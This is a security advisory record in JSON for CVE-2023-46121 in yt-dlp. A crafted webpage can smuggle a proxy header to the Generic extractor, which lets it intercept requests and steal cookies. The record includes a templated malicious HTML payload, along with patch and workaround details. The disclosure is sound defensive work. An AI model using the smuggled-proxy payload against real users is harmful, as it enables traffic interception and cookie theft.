{"id":"CVE-2023-46121","aliases":["CVE-2023-46121","GHSA-3ch3-jhc6-5r8x","PYSEC-2026-2063"],"related":[],"kind":"vulnerability","state":"published","title":"Generic Extractor MITM Vulnerability in yt-dlp","summary":"yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.","source":"cvelist"},{"lang":"en","text":"### Impact\nThe Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.\n\n<details>\n\nTo pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of \"url smuggling\". This works by adding this extra data as json to the url fragment (\"smuggling\") that is then passed on to an extractor. The receiving extractor then \"unsmuggles\" the data from the input url. This functionality is intended to be internal only.\n\nCurrently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example.\n\nAdditionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`.\n\nHowever, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself.  This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.**\n\nThis could allow for the following, but not limited too:\n- An attacker can MITM a request it asks yt-dlp to make to **any** website.\n   - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker.\n   - Fortunately most sites are HTTPS and should be setting cookies as secure.\n- An attacker can set cookies for an arbitrary site.\n\nAn example malicious webpage:\n```html\n<!DOCTYPE html>\n<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')\n```\n\nWhere `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through.\n\n</details>\n\n### Patches\n- We have removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern.\n\n### Workarounds\n- Disable Generic extractor (`--ies default,-generic`), or only pass trusted sites with trusted content.\n- Take caution when using `--no-check-certificate`.\n\n### References\n- <https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x>\n- <https://nvd.nist.gov/vuln/detail/CVE-2023-46121>\n- <https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14>\n- <https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb>","format":"markdown","source":"ghsa"},{"lang":"es","text":"yt-dlp es una bifurcación de youtube-dl con funciones y correcciones adicionales. The Generic Extractor en yt-dlp es vulnerable a que un atacante configure un proxy arbitrario para una solicitud en una URL arbitraria, lo que le permite al atacante realizar MITM la solicitud realizada desde la sesión HTTP de yt-dlp. En algunos casos, esto podría provocar la exfiltración de cookies. La versión 2023.11.14 eliminó la capacidad de pasar de contrabando `http_headers` al extractor genérico, así como a otros extractores que usan el mismo patrón. Se recomienda a los usuarios que actualicen. Los usuarios que no puedan actualizar deben desactivar el extractor Ggneric (o solo pasar por sitios confiables con contenido confiable) y tener cuidado al usar `--no-check-certificate`.","source":"nvd"}],"published":"2023-11-14T23:31:55.145Z","modified":"2026-09-10T03:49:58.753Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","score":5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","score":5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","score":5,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":3.7,"rating":"LOW"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","score":5,"rating":"MEDIUM"}],"cwes":["CWE-444","CWE-613"],"affected":[{"ranges":[{"version":">= 2022.10.04, < 2023.11.14","status":"affected"}],"vendor":"yt-dlp","product":"yt-dlp","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"2022.10.04","status":"affected","fixed":"2023.11.14"}],"ecosystem":"PyPI","package":"yt-dlp","purl":"pkg:pypi/yt-dlp","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"2022.10.04","fixed":"2023.11.14"}],"vendor":"yt-dlp_project","product":"yt-dlp","cpe":"cpe:2.3:a:yt-dlp_project:yt-dlp:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"2022.10.04","status":"affected","fixed":"2023.11.14"}],"ecosystem":"PyPI","package":"yt-dlp","purl":"pkg:pypi/yt-dlp","source":"pysec"}],"references":[{"url":"https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x","tags":["vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14","tags":["release-notes","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46121","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/yt-dlp/yt-dlp","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/yt-dlp","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-3ch3-jhc6-5r8x","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2024-08-29T15:18:50.836Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-46121","url":"https://www.cve.org/CVERecord?id=CVE-2023-46121","licence":"CVE Terms of Use","modified":"2024-08-29T15:19:23.948Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3ch3-jhc6-5r8x","url":"https://github.com/advisories/GHSA-3ch3-jhc6-5r8x","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:58.753Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-46121","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46121","licence":"Public domain","modified":"2026-06-17T06:30:11.627Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2063","url":"https://osv.dev/vulnerability/PYSEC-2026-2063","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:57.107Z"}],"updatedAt":"2026-11-25T22:58:30.497Z","epss":{"score":0.00379,"percentile":0.33979,"date":"2026-12-01T12:00:22.000Z"}}